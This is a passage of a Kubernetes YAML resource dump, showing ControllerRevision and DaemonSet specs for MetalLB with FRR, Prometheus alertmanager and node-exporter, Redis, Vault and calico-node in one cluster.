            - name: FRR_RELOADER_PID_FILE
              value: /etc/frr_reloader/reloader.pid
            - name: METALLB_BGP_TYPE
              value: frr
            - name: METALLB_POD_NAME
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: metadata.name
            image: quay.io/metallb/speaker:v0.15.2
            imagePullPolicy: IfNotPresent
            livenessProbe:
              failureThreshold: 3
              httpGet:
                path: /metrics
                port: monitoring
                scheme: HTTP
              initialDelaySeconds: 10
              periodSeconds: 10
              successThreshold: 1
              timeoutSeconds: 1
            name: speaker
            ports:
            - containerPort: 7472
              name: monitoring
              protocol: TCP
            - containerPort: 7946
              name: memberlist-tcp
              protocol: TCP
            - containerPort: 7946
              name: memberlist-udp
              protocol: UDP
            readinessProbe:
              failureThreshold: 3
              httpGet:
                path: /metrics
                port: monitoring
                scheme: HTTP
              initialDelaySeconds: 10
              periodSeconds: 10
              successThreshold: 1
              timeoutSeconds: 1
            resources: {}
            securityContext:
              allowPrivilegeEscalation: false
              capabilities:
                add:
                - NET_RAW
                drop:
                - ALL
              readOnlyRootFilesystem: true
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /etc/ml_secret_key
              name: memberlist
            - mountPath: /etc/frr_reloader
              name: reloader
            - mountPath: /etc/metallb
              name: metallb-excludel2
          - command:
            - /bin/sh
            - -c
            - |
              /sbin/tini -- /usr/lib/frr/docker-start &
              attempts=0
              until [[ -f /etc/frr/frr.log || $attempts -eq 60 ]]; do
                sleep 1
                attempts=$(( $attempts + 1 ))
              done
              tail -f /etc/frr/frr.log
            env:
            - name: TINI_SUBREAPER
              value: "true"
            image: quay.io/frrouting/frr:9.1.0
            imagePullPolicy: IfNotPresent
            livenessProbe:
              failureThreshold: 3
              httpGet:
                path: livez
                port: 7473
                scheme: HTTP
              initialDelaySeconds: 10
              periodSeconds: 10
              successThreshold: 1
              timeoutSeconds: 1
            name: frr
            resources: {}
            securityContext:
              capabilities:
                add:
                - NET_ADMIN
                - NET_RAW
                - SYS_ADMIN
                - NET_BIND_SERVICE
            startupProbe:
              failureThreshold: 30
              httpGet:
                path: /livez
                port: 7473
                scheme: HTTP
              periodSeconds: 5
              successThreshold: 1
              timeoutSeconds: 1
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /var/run/frr
              name: frr-sockets
            - mountPath: /etc/frr
              name: frr-conf
          - command:
            - /etc/frr_reloader/frr-reloader.sh
            image: quay.io/frrouting/frr:9.1.0
            imagePullPolicy: IfNotPresent
            name: reloader
            resources: {}
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /var/run/frr
              name: frr-sockets
            - mountPath: /etc/frr
              name: frr-conf
            - mountPath: /etc/frr_reloader
              name: reloader
          - args:
            - --metrics-port=7473
            command:
            - /etc/frr_metrics/frr-metrics
            env:
            - name: VTYSH_HISTFILE
              value: /dev/null
            image: quay.io/frrouting/frr:9.1.0
            imagePullPolicy: IfNotPresent
            name: frr-metrics
            ports:
            - containerPort: 7473
              name: monitoring
              protocol: TCP
            resources: {}
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /var/run/frr
              name: frr-sockets
            - mountPath: /etc/frr
              name: frr-conf
            - mountPath: /etc/frr_metrics
              name: metrics
          dnsPolicy: ClusterFirst
          hostNetwork: true
          initContainers:
          - command:
            - /bin/sh
            - -c
            - cp -rLf /tmp/frr/* /etc/frr/
            image: quay.io/frrouting/frr:9.1.0
            imagePullPolicy: IfNotPresent
            name: cp-frr-files
            resources: {}
            securityContext:
              runAsGroup: 101
              runAsUser: 100
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /tmp/frr
              name: frr-startup
            - mountPath: /etc/frr
              name: frr-conf
          - command:
            - /cp-tool
            - /frr-reloader.sh
            - /etc/frr_reloader/frr-reloader.sh
            image: quay.io/metallb/speaker:v0.15.2
            imagePullPolicy: IfNotPresent
            name: cp-reloader
            resources: {}
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /etc/frr_reloader
              name: reloader
          - command:
            - /cp-tool
            - /frr-metrics
            - /etc/frr_metrics/frr-metrics
            image: quay.io/metallb/speaker:v0.15.2
            imagePullPolicy: IfNotPresent
            name: cp-metrics
            resources: {}
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /etc/frr_metrics
              name: metrics
          nodeSelector:
            kubernetes.io/os: linux
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext: {}
          serviceAccount: metallb-speaker
          serviceAccountName: metallb-speaker
          shareProcessNamespace: true
          terminationGracePeriodSeconds: 0
          tolerations:
          - effect: NoSchedule
            key: node-role.kubernetes.io/master
            operator: Exists
          - effect: NoSchedule
            key: node-role.kubernetes.io/control-plane
            operator: Exists
          volumes:
          - name: memberlist
            secret:
              defaultMode: 420
              secretName: metallb-memberlist
          - configMap:
              defaultMode: 256
              name: metallb-excludel2
            name: metallb-excludel2
          - emptyDir: {}
            name: frr-sockets
          - configMap:
              defaultMode: 420
              name: metallb-frr-startup
            name: frr-startup
          - emptyDir: {}
            name: frr-conf
          - emptyDir: {}
            name: reloader
          - emptyDir: {}
            name: metrics
  kind: ControllerRevision
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "1"
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/component: speaker
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/name: metallb
      controller-revision-hash: 7fc7479646
    name: metallb-speaker-7fc7479646
    namespace: metallb-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: metallb-speaker
      uid: 3d33e02f-6b43-495c-ab47-c899fc9935bd
    resourceVersion: "57886"
    uid: 386120d3-170a-4611-acf5-9a60d6fdef9c
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          annotations:
            checksum/config: 1cc58c99053e53d9a10bc8b269ebf8d439a4980f9265c13f3af1d90deeb7bd8d
          creationTimestamp: null
          labels:
            app.kubernetes.io/instance: prometheus-community
            app.kubernetes.io/name: alertmanager
        spec:
          automountServiceAccountToken: true
          containers:
          - args:
            - --storage.path=/alertmanager
            - --config.file=/etc/alertmanager/alertmanager.yml
            env:
            - name: POD_IP
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: status.podIP
            image: quay.io/prometheus/alertmanager:v0.28.1
            imagePullPolicy: IfNotPresent
            livenessProbe:
              failureThreshold: 3
              httpGet:
                path: /
                port: http
                scheme: HTTP
              periodSeconds: 10
              successThreshold: 1
              timeoutSeconds: 1
            name: alertmanager
            ports:
            - containerPort: 9093
              name: http
              protocol: TCP
            readinessProbe:
              failureThreshold: 3
              httpGet:
                path: /
                port: http
                scheme: HTTP
              periodSeconds: 10
              successThreshold: 1
              timeoutSeconds: 1
            resources: {}
            securityContext:
              runAsGroup: 65534
              runAsNonRoot: true
              runAsUser: 65534
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /etc/alertmanager
              name: config
            - mountPath: /alertmanager
              name: storage
          dnsPolicy: ClusterFirst
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext:
            fsGroup: 65534
            runAsGroup: 65534
            runAsNonRoot: true
            runAsUser: 65534
          serviceAccount: prometheus-community-alertmanager
          serviceAccountName: prometheus-community-alertmanager
          terminationGracePeriodSeconds: 30
          volumes:
          - configMap:
              defaultMode: 420
              name: prometheus-community-alertmanager
            name: config
  kind: ControllerRevision
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:45Z"
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/name: alertmanager
      controller.kubernetes.io/hash: 7d556454c6
    name: prometheus-community-alertmanager-7d556454c6
    namespace: prometheus
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: prometheus-community-alertmanager
      uid: 65e8fbab-201c-481d-86a2-756c8aa1a2dd
    resourceVersion: "1129952"
    uid: 1c1a6837-6795-4fdc-9377-ef22869b5620
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          annotations:
            cluster-autoscaler.kubernetes.io/safe-to-evict: "true"
          creationTimestamp: null
          labels:
            app.kubernetes.io/component: metrics
            app.kubernetes.io/instance: prometheus-community
            app.kubernetes.io/managed-by: Helm
            app.kubernetes.io/name: prometheus-node-exporter
            app.kubernetes.io/part-of: prometheus-node-exporter
            app.kubernetes.io/version: 1.9.1
            helm.sh/chart: prometheus-node-exporter-4.48.0
        spec:
          affinity:
            nodeAffinity:
              requiredDuringSchedulingIgnoredDuringExecution:
                nodeSelectorTerms:
                - matchExpressions:
                  - key: eks.amazonaws.com/compute-type
                    operator: NotIn
                    values:
                    - fargate
                  - key: type
                    operator: NotIn
                    values:
                    - virtual-kubelet
          automountServiceAccountToken: false
          containers:
          - args:
            - --path.procfs=/host/proc
            - --path.sysfs=/host/sys
            - --path.rootfs=/host/root
            - --path.udev.data=/host/root/run/udev/data
            - --web.listen-address=[$(HOST_IP)]:9100
            env:
            - name: HOST_IP
              value: 0.0.0.0
            image: quay.io/prometheus/node-exporter:v1.9.1
            imagePullPolicy: IfNotPresent
            livenessProbe:
              failureThreshold: 3
              httpGet:
                path: /
                port: metrics
                scheme: HTTP
              periodSeconds: 10
              successThreshold: 1
              timeoutSeconds: 1
            name: node-exporter
            ports:
            - containerPort: 9100
              name: metrics
              protocol: TCP
            readinessProbe:
              failureThreshold: 3
              httpGet:
                path: /
                port: metrics
                scheme: HTTP
              periodSeconds: 10
              successThreshold: 1
              timeoutSeconds: 1
            resources: {}
            securityContext:
              allowPrivilegeEscalation: false
              readOnlyRootFilesystem: true
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /host/proc
              name: proc
              readOnly: true
            - mountPath: /host/sys
              name: sys
              readOnly: true
            - mountPath: /host/root
              mountPropagation: HostToContainer
              name: root
              readOnly: true
          dnsPolicy: ClusterFirst
          hostNetwork: true
          hostPID: true
          nodeSelector:
            kubernetes.io/os: linux
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext:
            fsGroup: 65534
            runAsGroup: 65534
            runAsNonRoot: true
            runAsUser: 65534
          serviceAccount: prometheus-community-prometheus-node-exporter
          serviceAccountName: prometheus-community-prometheus-node-exporter
          terminationGracePeriodSeconds: 30
          tolerations:
          - effect: NoSchedule
            operator: Exists
          volumes:
          - hostPath:
              path: /proc
              type: ""
            name: proc
          - hostPath:
              path: /sys
              type: ""
            name: sys
          - hostPath:
              path: /
              type: ""
            name: root
  kind: ControllerRevision
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "1"
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-node-exporter
      app.kubernetes.io/part-of: prometheus-node-exporter
      app.kubernetes.io/version: 1.9.1
      controller-revision-hash: 845bcfccf6
      helm.sh/chart: prometheus-node-exporter-4.48.0
    name: prometheus-community-prometheus-node-exporter-845bcfccf6
    namespace: prometheus
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: prometheus-community-prometheus-node-exporter
      uid: 1eefa6c3-e5d0-497f-9e12-0ca5f33af22c
    resourceVersion: "1129889"
    uid: 56030809-d960-4365-9aca-a4dd0fc1e663
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          annotations:
            checksum/configmap: 95944ee35a19af37cefd156f19d93e157e578c1dc63ac01ce735ae93090b7580
            checksum/health: aff24913d801436ea469d8d374b2ddb3ec4c43ee7ab24663d5f8ff1a1b6991a9
            checksum/scripts: b4230d7912970032380858b68faf87b6171144b993066fe53c7a324fadf43b36
            checksum/secret: f22ab0f12d1b1d837da6d8da4b2d91e66e99c4b0ed0b3c1c78bd6ab2ca8c3824
          creationTimestamp: null
          labels:
            app.kubernetes.io/component: master
            app.kubernetes.io/instance: redis
            app.kubernetes.io/managed-by: Helm
            app.kubernetes.io/name: redis
            app.kubernetes.io/version: 8.2.2
            helm.sh/chart: redis-23.1.3
        spec:
          affinity:
            podAntiAffinity:
              preferredDuringSchedulingIgnoredDuringExecution:
              - podAffinityTerm:
                  labelSelector:
                    matchLabels:
                      app.kubernetes.io/component: master
                      app.kubernetes.io/instance: redis
                      app.kubernetes.io/name: redis
                  topologyKey: kubernetes.io/hostname
                weight: 1
          automountServiceAccountToken: false
          containers:
          - args:
            - -ec
            - /opt/bitnami/scripts/start-scripts/start-master.sh
            command:
            - /bin/bash
            env:
            - name: BITNAMI_DEBUG
              value: "false"
            - name: REDIS_REPLICATION_MODE
              value: master
            - name: ALLOW_EMPTY_PASSWORD
              value: "no"
            - name: REDIS_PASSWORD_FILE
              value: /opt/bitnami/redis/secrets/redis-password
            - name: REDIS_TLS_ENABLED
              value: "no"
            - name: REDIS_PORT
              value: "6379"
            image: registry-1.docker.io/bitnami/redis:latest
            imagePullPolicy: IfNotPresent
            livenessProbe:
              exec:
                command:
                - /bin/bash
                - -ec
                - /health/ping_liveness_local.sh 5
              failureThreshold: 5
              initialDelaySeconds: 20
              periodSeconds: 5
              successThreshold: 1
              timeoutSeconds: 6
            name: redis
            ports:
            - containerPort: 6379
              name: redis
              protocol: TCP
            readinessProbe:
              exec:
                command:
                - /bin/bash
                - -ec
                - /health/ping_readiness_local.sh 1
              failureThreshold: 5
              initialDelaySeconds: 20
              periodSeconds: 5
              successThreshold: 1
              timeoutSeconds: 2
            resources:
              limits:
                cpu: 150m
                ephemeral-storage: 2Gi
                memory: 192Mi
              requests:
                cpu: 100m
                ephemeral-storage: 50Mi
                memory: 128Mi
            securityContext:
              allowPrivilegeEscalation: false
              capabilities:
                drop:
                - ALL
              readOnlyRootFilesystem: true
              runAsGroup: 1001
              runAsNonRoot: true
              runAsUser: 1001
              seLinuxOptions: {}
              seccompProfile:
                type: RuntimeDefault
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /opt/bitnami/scripts/start-scripts
              name: start-scripts
            - mountPath: /health
              name: health
            - mountPath: /opt/bitnami/redis/secrets/
              name: redis-password
            - mountPath: /data
              name: redis-data
            - mountPath: /opt/bitnami/redis/mounted-etc
              name: config
            - mountPath: /opt/bitnami/redis/etc/
              name: empty-dir
              subPath: app-conf-dir
            - mountPath: /tmp
              name: empty-dir
              subPath: tmp-dir
          dnsPolicy: ClusterFirst
          enableServiceLinks: true
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext:
            fsGroup: 1001
            fsGroupChangePolicy: Always
          serviceAccount: redis-master
          serviceAccountName: redis-master
          terminationGracePeriodSeconds: 30
          volumes:
          - configMap:
              defaultMode: 493
              name: redis-scripts
            name: start-scripts
          - configMap:
              defaultMode: 493
              name: redis-health
            name: health
          - name: redis-password
            secret:
              defaultMode: 420
              items:
              - key: redis-password
                path: redis-password
              secretName: redis
          - configMap:
              defaultMode: 420
              name: redis-configuration
            name: config
          - emptyDir: {}
            name: empty-dir
  kind: ControllerRevision
  metadata:
    annotations:
      meta.helm.sh/release-name: redis
      meta.helm.sh/release-namespace: redis
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      app.kubernetes.io/component: master
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      controller.kubernetes.io/hash: 5bfd46c97d
      helm.sh/chart: redis-23.1.3
    name: redis-master-5bfd46c97d
    namespace: redis
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: redis-master
      uid: 6d1f7889-12ce-46bd-a8a8-a3a60d538314
    resourceVersion: "6769130"
    uid: 086fb244-5304-47fb-8a53-86b4cc30b5fc
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          annotations:
            checksum/configmap: 95944ee35a19af37cefd156f19d93e157e578c1dc63ac01ce735ae93090b7580
            checksum/health: aff24913d801436ea469d8d374b2ddb3ec4c43ee7ab24663d5f8ff1a1b6991a9
            checksum/scripts: b4230d7912970032380858b68faf87b6171144b993066fe53c7a324fadf43b36
            checksum/secret: f22ab0f12d1b1d837da6d8da4b2d91e66e99c4b0ed0b3c1c78bd6ab2ca8c3824
          creationTimestamp: null
          labels:
            app.kubernetes.io/component: replica
            app.kubernetes.io/instance: redis
            app.kubernetes.io/managed-by: Helm
            app.kubernetes.io/name: redis
            app.kubernetes.io/version: 8.2.2
            helm.sh/chart: redis-23.1.3
        spec:
          affinity:
            podAntiAffinity:
              preferredDuringSchedulingIgnoredDuringExecution:
              - podAffinityTerm:
                  labelSelector:
                    matchLabels:
                      app.kubernetes.io/component: replica
                      app.kubernetes.io/instance: redis
                      app.kubernetes.io/name: redis
                  topologyKey: kubernetes.io/hostname
                weight: 1
          automountServiceAccountToken: false
          containers:
          - args:
            - -ec
            - /opt/bitnami/scripts/start-scripts/start-replica.sh
            command:
            - /bin/bash
            env:
            - name: BITNAMI_DEBUG
              value: "false"
            - name: REDIS_REPLICATION_MODE
              value: replica
            - name: REDIS_MASTER_HOST
              value: redis-master-0.redis-headless.redis.svc.cluster.local
            - name: REDIS_MASTER_PORT_NUMBER
              value: "6379"
            - name: ALLOW_EMPTY_PASSWORD
              value: "no"
            - name: REDIS_PASSWORD_FILE
              value: /opt/bitnami/redis/secrets/redis-password
            - name: REDIS_MASTER_PASSWORD_FILE
              value: /opt/bitnami/redis/secrets/redis-password
            - name: REDIS_TLS_ENABLED
              value: "no"
            - name: REDIS_PORT
              value: "6379"
            image: registry-1.docker.io/bitnami/redis:latest
            imagePullPolicy: IfNotPresent
            livenessProbe:
              exec:
                command:
                - /bin/bash
                - -ec
                - /health/ping_liveness_local_and_master.sh 5
              failureThreshold: 5
              initialDelaySeconds: 20
              periodSeconds: 5
              successThreshold: 1
              timeoutSeconds: 6
            name: redis
            ports:
            - containerPort: 6379
              name: redis
              protocol: TCP
            readinessProbe:
              exec:
                command:
                - /bin/bash
                - -ec
                - /health/ping_readiness_local_and_master.sh 1
              failureThreshold: 5
              initialDelaySeconds: 20
              periodSeconds: 5
              successThreshold: 1
              timeoutSeconds: 2
            resources:
              limits:
                cpu: 150m
                ephemeral-storage: 2Gi
                memory: 192Mi
              requests:
                cpu: 100m
                ephemeral-storage: 50Mi
                memory: 128Mi
            securityContext:
              allowPrivilegeEscalation: false
              capabilities:
                drop:
                - ALL
              readOnlyRootFilesystem: true
              runAsGroup: 1001
              runAsNonRoot: true
              runAsUser: 1001
              seLinuxOptions: {}
              seccompProfile:
                type: RuntimeDefault
            startupProbe:
              failureThreshold: 22
              initialDelaySeconds: 10
              periodSeconds: 10
              successThreshold: 1
              tcpSocket:
                port: redis
              timeoutSeconds: 5
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /opt/bitnami/scripts/start-scripts
              name: start-scripts
            - mountPath: /health
              name: health
            - mountPath: /opt/bitnami/redis/secrets/
              name: redis-password
            - mountPath: /data
              name: redis-data
            - mountPath: /opt/bitnami/redis/mounted-etc
              name: config
            - mountPath: /opt/bitnami/redis/etc
              name: empty-dir
              subPath: app-conf-dir
            - mountPath: /tmp
              name: empty-dir
              subPath: tmp-dir
          dnsPolicy: ClusterFirst
          enableServiceLinks: true
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext:
            fsGroup: 1001
            fsGroupChangePolicy: Always
          serviceAccount: redis-replica
          serviceAccountName: redis-replica
          terminationGracePeriodSeconds: 30
          volumes:
          - configMap:
              defaultMode: 493
              name: redis-scripts
            name: start-scripts
          - configMap:
              defaultMode: 493
              name: redis-health
            name: health
          - name: redis-password
            secret:
              defaultMode: 420
              items:
              - key: redis-password
                path: redis-password
              secretName: redis
          - configMap:
              defaultMode: 420
              name: redis-configuration
            name: config
          - emptyDir: {}
            name: empty-dir
  kind: ControllerRevision
  metadata:
    annotations:
      meta.helm.sh/release-name: redis
      meta.helm.sh/release-namespace: redis
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      controller.kubernetes.io/hash: 85686886bc
      helm.sh/chart: redis-23.1.3
    name: redis-replicas-85686886bc
    namespace: redis
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: redis-replicas
      uid: 3d28299e-55d8-43fc-9661-000a25f0bf64
    resourceVersion: "6769129"
    uid: b1e54aea-e8b6-4ca7-b3b4-fae0faf8579b
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          creationTimestamp: null
          labels:
            app.kubernetes.io/instance: vault
            app.kubernetes.io/name: vault
            component: server
            helm.sh/chart: vault-0.30.1
        spec:
          affinity:
            podAntiAffinity:
              requiredDuringSchedulingIgnoredDuringExecution:
              - labelSelector:
                  matchLabels:
                    app.kubernetes.io/instance: vault
                    app.kubernetes.io/name: vault
                    component: server
                topologyKey: kubernetes.io/hostname
          containers:
          - args:
            - "cp /vault/config/extraconfig-from-values.hcl /tmp/storageconfig.hcl;\n[
              -n \"${HOST_IP}\" ] && sed -Ei \"s|HOST_IP|${HOST_IP?}|g\" /tmp/storageconfig.hcl;\n[
              -n \"${POD_IP}\" ] && sed -Ei \"s|POD_IP|${POD_IP?}|g\" /tmp/storageconfig.hcl;\n[
              -n \"${HOSTNAME}\" ] && sed -Ei \"s|HOSTNAME|${HOSTNAME?}|g\" /tmp/storageconfig.hcl;\n[
              -n \"${API_ADDR}\" ] && sed -Ei \"s|API_ADDR|${API_ADDR?}|g\" /tmp/storageconfig.hcl;\n[
              -n \"${TRANSIT_ADDR}\" ] && sed -Ei \"s|TRANSIT_ADDR|${TRANSIT_ADDR?}|g\"
              /tmp/storageconfig.hcl;\n[ -n \"${RAFT_ADDR}\" ] && sed -Ei \"s|RAFT_ADDR|${RAFT_ADDR?}|g\"
              /tmp/storageconfig.hcl;\n/usr/local/bin/docker-entrypoint.sh vault server
              -config=/tmp/storageconfig.hcl \n"
            command:
            - /bin/sh
            - -ec
            env:
            - name: HOST_IP
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: status.hostIP
            - name: POD_IP
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: status.podIP
            - name: VAULT_K8S_POD_NAME
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: metadata.name
            - name: VAULT_K8S_NAMESPACE
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: metadata.namespace
            - name: VAULT_ADDR
              value: http://127.0.0.1:8200
            - name: VAULT_API_ADDR
              value: http://$(POD_IP):8200
            - name: SKIP_CHOWN
              value: "true"
            - name: SKIP_SETCAP
              value: "true"
            - name: HOSTNAME
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: metadata.name
            - name: VAULT_CLUSTER_ADDR
              value: https://$(HOSTNAME).vault-internal:8201
            - name: HOME
              value: /home/vault
            image: hashicorp/vault:1.20.1
            imagePullPolicy: IfNotPresent
            lifecycle:
              preStop:
                exec:
                  command:
                  - /bin/sh
                  - -c
                  - sleep 5 && kill -SIGTERM $(pidof vault)
            name: vault
            ports:
            - containerPort: 8200
              name: http
              protocol: TCP
            - containerPort: 8201
              name: https-internal
              protocol: TCP
            - containerPort: 8202
              name: http-rep
              protocol: TCP
            readinessProbe:
              exec:
                command:
                - /bin/sh
                - -ec
                - vault status -tls-skip-verify
              failureThreshold: 2
              initialDelaySeconds: 5
              periodSeconds: 5
              successThreshold: 1
              timeoutSeconds: 3
            resources: {}
            securityContext:
              allowPrivilegeEscalation: false
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /vault/config
              name: config
            - mountPath: /home/vault
              name: home
          dnsPolicy: ClusterFirst
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext:
            fsGroup: 1000
            runAsGroup: 1000
            runAsNonRoot: true
            runAsUser: 100
          serviceAccount: vault
          serviceAccountName: vault
          terminationGracePeriodSeconds: 10
          volumes:
          - configMap:
              defaultMode: 420
              name: vault-config
            name: config
          - emptyDir: {}
            name: home
  kind: ControllerRevision
  metadata:
    annotations:
      meta.helm.sh/release-name: vault
      meta.helm.sh/release-namespace: vault
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/name: vault
      component: server
      controller.kubernetes.io/hash: fcf87dff6
      helm.sh/chart: vault-0.30.1
    name: vault-fcf87dff6
    namespace: vault
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: vault
      uid: 230a23a3-97d6-4d60-a5ac-a24c909f43e0
    resourceVersion: "265891"
    uid: 961bdf7b-ca7a-44f4-b6bd-c8e7ef8bf773
  revision: 1
- apiVersion: apps/v1
  kind: DaemonSet
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "3"
    creationTimestamp: "2025-10-19T16:12:26Z"
    generation: 3
    name: calico-node
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "18046581"
    uid: e123d82e-d5e2-4fdd-9df3-ed3b2428160b
  spec:
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        k8s-app: calico-node
    template:
      metadata:
        annotations:
          hash.operator.tigera.io/cni-config: 6157f72bdda4d912a243fe0cee1c517ec93c2d8c
          hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
          tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
        creationTimestamp: null
        labels:
          app.kubernetes.io/name: calico-node
          k8s-app: calico-node
      spec:
        containers:
        - env:
          - name: DATASTORE_TYPE
            value: kubernetes
          - name: WAIT_FOR_DATASTORE
            value: "true"
          - name: CLUSTER_TYPE
            value: k8s,operator,bgp
          - name: CALICO_DISABLE_FILE_LOGGING
            value: "false"
          - name: FELIX_DEFAULTENDPOINTTOHOSTACTION
            value: ACCEPT
          - name: FELIX_HEALTHENABLED
            value: "true"
          - name: FELIX_HEALTHPORT
            value: "9099"
          - name: NODENAME
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: spec.nodeName
          - name: NAMESPACE
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
          - name: FELIX_TYPHAK8SNAMESPACE
            value: calico-system
          - name: FELIX_TYPHAK8SSERVICENAME
            value: calico-typha
          - name: FELIX_TYPHACAFILE
            value: /etc/pki/tls/certs/tigera-ca-bundle.crt
          - name: FELIX_TYPHACERTFILE
            value: /node-certs/tls.crt
          - name: FELIX_TYPHAKEYFILE
            value: /node-certs/tls.key
          - name: NO_DEFAULT_POOLS
            value: "true"
          - name: FELIX_FLOWLOGSGOLDMANESERVER
            value: goldmane.calico-system.svc:7443
          - name: FELIX_FLOWLOGSFLUSHINTERVAL
            value: "15"
          - name: FELIX_TYPHACN
            value: typha-server
          - name: CALICO_MANAGE_CNI
            value: "true"
          - name: FELIX_VXLANMTU
            value: "0"
          - name: FELIX_WIREGUARDMTU
            value: "0"
          - name: CALICO_NETWORKING_BACKEND
            value: bird
          - name: FELIX_IPINIPMTU
            value: "0"
          - name: IP
            value: autodetect
          - name: IP_AUTODETECTION_METHOD
            value: first-found
          - name: IP6
            value: none
          - name: FELIX_IPV6SUPPORT
            value: "false"
          - name: KUBERNETES_SERVICE_HOST
            value: 10.96.0.1
          - name: KUBERNETES_SERVICE_PORT
            value: "443"
          image: quay.io/calico/node:v3.30.4
          imagePullPolicy: IfNotPresent
          lifecycle:
            preStop:
              exec:
                command:
                - /bin/calico-node
                - -shutdown
          livenessProbe:
            failureThreshold: 3
            httpGet:
              host: localhost
              path: /liveness
              port: 9099
              scheme: HTTP
            periodSeconds: 60
            successThreshold: 1
            timeoutSeconds: 10
          name: calico-node
          readinessProbe:
            exec:
              command:
              - /bin/calico-node
              - -bird-ready
              - -felix-ready
            failureThreshold: 3
            periodSeconds: 30
            successThreshold: 1
            timeoutSeconds: 10
          resources:
            requests:
              cpu: 250m
          securityContext:
            allowPrivilegeEscalation: true
            capabilities:
              drop:
              - ALL
            privileged: true
            runAsGroup: 0
            runAsNonRoot: false
            runAsUser: 0
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/log/calico/cni
            name: cni-log-dir
          - mountPath: /host/etc/cni/net.d
            name: cni-net-dir
          - mountPath: /lib/modules
            name: lib-modules
            readOnly: true
          - mountPath: /node-certs
            name: node-certs
            readOnly: true
          - mountPath: /var/run/nodeagent
            name: policysync
          - mountPath: /etc/pki/tls/certs
            name: tigera-ca-bundle
            readOnly: true
